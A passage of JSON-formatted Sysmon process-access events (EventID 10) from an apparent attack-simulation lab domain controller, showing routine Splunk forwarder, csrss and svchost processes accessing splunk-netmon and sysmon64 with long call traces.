Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010BA3D0A00}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010BA3D0A00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010BA3D0A00}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DL